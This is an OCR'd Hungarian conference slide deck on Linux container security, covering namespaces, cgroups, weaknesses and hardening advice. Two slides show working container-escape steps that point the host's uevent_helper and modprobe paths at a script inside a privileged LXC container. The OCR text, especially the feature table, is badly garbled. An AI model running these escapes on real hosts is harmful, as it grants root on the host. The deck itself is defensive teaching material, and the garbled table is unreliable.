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Roviden a virtualizaciorol

B Az alap:
= egy vason, tobb rendszer.
B Virtualizacié eldnyei:
= Jobb eréforras kihasznalhatdsag.

= Rendkivili rugalmassag
= (j létrehozdsa, meglevd mddositasa, masolasa (clone), torlése, stb ...

B Virtualizacio fajtai:
= Hypervisor alapu
= Operdcios rendszer alapu <« igen, 6k a konténerek
= Alkalmazas alapu
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Hypervisor VS Containers

B Teljes hardver kdrnyezetet WA szikséges alrendszereket

emulal; peldanyositja csak:

= hardver tamogatas szukséges = amin az alap OS elfut azon ez
hasznalatahoz iS

= 3 host szempontjabdl a guest = 3 host szempontjabdl minden
csak 1 processz futtatott alkalmazas processz

= host-tél fliggetlen kernelt, egyedi processz

OS-t is képes futtatni = felépitésébdl eredben kicsi az

= koltségesebb a futtatdsa overhead

m 3z 0sszes guest alatt ugyanaz

= felépitésébdl eredden
a kernel fut

hiztonsagosabb
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Egy kis konténer torténelem ...

Features
Operatin Partition
Mechanism Eystem 9 License Date File system Copy onl Disk I/O rate Memory CPU | Network MNested checkpointing :::;ﬂzt .
isolation Wrike quoktas limiting lirmiks quotas | isolation | virtualizaktion and live ﬁsnlatrgn
migration
most UMElike wvaries by
chroot operating operating 1982 Partial[5] Mo Mo Mo Mo Mo Mo Yes Mo Mo
sysbems sysbem
FreeBSD jail FreeBsD B5D License 2000 Yes l:;r::;} Yes[21] Mo Yes[22 Yes Yes Yes Mo Yes[23
Virtuozzo Linux, Windows Proprietary 2000 Yes Yes Yes Yes[15 Yes Yes Yes[12 7 Yes Yes
Linux-WServer |Linusx CGHU GPLw 2 2001 ¥es Yes ¥es Yes[7] Yes Yes Partial[&] 7 Mo Partial[9]
Sand boxie Windows Sl 2004 Yes Yes FPartial Mo Mo Mo Partial Mo Mo Yes
- - hareware
) Partial. ¥es e .
Solaris, ves with when top levelis
fones OpenSolaris, CDDL 2004 Yes (ZFS) Yes lumos Yes Yes Yes[17 a KVM zone Mo[18] Yes[19
Iurmos = ) (IMlumos) ora kz
A zone (Dracle)
Cpenhe Limux GHU GPLe 2 2005 Yes Mo Yes Yes[11 Yes Yes Yes[12 Mo Yes Yes[13
Fartial.
SRP HPUX Proprietary = 2007 Yes Mo t;:‘::lh Yes Yes Yes Yes ? Yes ?
volumes
WPARS AlX Proprietary 2007 Yes Mo Yes Yes Yes Yes Yes[24 Mo Yes[25 ?
iCore VWirtual Proprietand/Fr
- Windows XF 2008 ¥es Mo Y¥es Mo Mo Mo Mo 7 Mo 7
Accounks - Eeware
Fartial.
Partial. @ ¥es with
LXC Linux GMNU GPLe 2 2008 Yes[10] Yeswith| LWMor Yes Yes Yes Yes Yes Mo Yes[10
Btrfs. Disk
gquota.
. DpenBsh, .
sysjail NetBS B5D License 2009 Yes Mo Mo Mo Mo Mo Yes Mo Mo |?
—
. Apache Mot Mot
Docker Linux[&a] license 2.0 2013 ¥es Yes directly directly Yes Yes Yes Yes Mo Mo
I EFy Linux e s 2013 Yes Yes Yes Yes[7] Yes Yes Partial[&8] 7 Mo Partial[9]

License 2.0
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iCore Wirkual Proprieta ny/Fr
- i r
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Linux-os konténerek felépitése

B Két 6 részbdl tevodnek ossze

= Namespace-ekbdl, feladatuk a példanyositds megvalodsitasa, fajtai:

= MOUNT_NS Fdjlrendszer (VFS) csatolasokra vonatkozé ns, régi de kevésbé hasznalt...
= UTS_NS A hostnév névtérét fele. (a konténerinknek eltérhet a neve a hosttol)

= [PC_NS SHM, semaphores, message queues szerparaciojat valdsitja meg

= USER NS UID/GID-ek virtudlis megfeleletetésér felel, a konténeren belll lehetnek
sajat uid-ek és gid-ek (@ - ebben volt egy nagyon csidnya bug, !0 = 0)

= PID_NS a konténeren belll sajat PID névtér van, hiheti magardl barmely processz
hogy & az 1-es PID (init), kilsé névtér nem cimezhetd pid alapjan
PID_NS !=/proc ns (ilyen nincs is ...)

= NET_NS  Teljes halézati stack ...
= Cgroups-okbdl —eréforrasok korlatozasa

= cpuset, cpu, cpuacct, freezer, memory, blkio és devices eréforras csoportok
W Egyéb:
= Capabilitik
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Hianyossagok, gyengeségek ...

B A leggyengébb lancszem a kdzos kernel (nem Linux spec.)

= A virtualizalt processzek kdzvetlenUl a host kernellel allnak
kapcsolatban

= Egy kernel bugra épuld exploit visz mindent

= Hypervisor alapu sebezhetdségénél, ez tdbbnyire csak az adott
guest-et viszi

B /proc—minusz PID NS, /sys
= P|: /proc/sys/vm/drop cache, /proc/sysra-trigger és tarsai

= echo 0| tee /sys/devices/system/cpu/cpu*/online — ue memory-val

= [409388.207773] kvm: disabling virtualization on CPU1
= [409388.207790] smpboot: CPU 1 is now offline
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Jkitorés” a sysfs-en keresztul

Ha root vagy a konténerben root leszel kint is ...
B root@lxc# cat /tmp/evil _helper

#! /bin/bash

set >> /tmp/almal

date >> /tmp/almal

root@lxc# echo /var/lib/lxc/lxc/rootfs/tmp/evil helper >
/sys/kernel/uevent helper

root@lxc# cat /sys/kernel/uevent_helper
[/var/lib/lxc/lxc/rootfs/tmp/evil helper

B root@lxc# echo change > /sys/class/mem/null/uevent
hatasara lefut a /var/lib/lxc/lxc/rootfs/tmp/evil _helper
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Jkitorés” a procfs-en keresztul

B root@lxc# cat /tmp/x
#! /bin/bash
mkdir /tmp/12345alma
root@lxc# cat /proc/sys/kernel/modprobe
/sbin/modprobe
root@lxc# echo /var/lib/1lxc/lxc/rootfs/tmp/x > /proc/sys/kernel/modprobe
root@telekom-vpn:/proc# iptables -t raw -nL

iptables v1.4.21: can't initialize iptables table ‘raw': Table does not
exist (do you need to insmod?)

B root@host:1ls -dl /tmp/12345alma/
drw-rw---- 2 root root 40 maj 19 09:41 /tmp/12345alma/
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Védelmi lehetdségek, teenddk 1.

B Az alaprendszer megerQsitése

= Pax/Grsec, Apparmor, SELinux

= Szedjik szét tdbb gépre a konténereinket, biztonsagi besorolasuk
szerint (akar a valodi hostok haldzati szeparacidja esetében)

B Konténerek megerdsitése

= Unpriveledged Containers
= Capabilitik megfeleld hasznalata

= |[xc.cgroup.devices
= |xc.cgroup.devices.deny =a # mindent tilos,
= |xc.cgroup.devices.allow = ... # kivéve amit szabad elv alkalmazasa

= Minimalizalni kell a konténerben rootként futé alkalmazasok
szamat és — ha lehet —jogait.
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Védelmi lehetdségek, teenddk 2.

B Seccomp alkalmazasa

B A /proc és /sys mountolasanak feltlvizsgalata (részleges
mount, RO mount)

B Auditd hangolasa a konténerek feligyeletére

B Securebits (SECURE_NOROOT, SET DUMPABLE) és tarsainak
haszndlata, man prctl:)

B Cgroups-ok mellett érdemes figyelni az rlimit-ek értékeire
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Hasznos biztonsagi kaktyuk

B mbox
m http://pdos.csail.mit.edu/mbox/
| firejail

m https://I3net.wordpress.com/projects/firejail/
B minijail

m https://chromium.googlesource.com/chromiumos/platform/minijail/

B Olvasnivaldk

m https://www.kernel.org/doc/Documentation/namespaces/compatibility-list.txt
m https://www.kernel.org/doc/Documentation/namespaces/resource-control.txt


http://pdos.csail.mit.edu/mbox/
https://l3net.wordpress.com/projects/firejail/
https://chromium.googlesource.com/chromiumos/platform/minijail/
https://www.kernel.org/doc/Documentation/namespaces/compatibility-list.txt
https://www.kernel.org/doc/Documentation/namespaces/resource-control.txt
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Ezt itt toltheted le:
B http://andrews.hu/wp-content/uploads/2015/05/ankert.pdf

:": El
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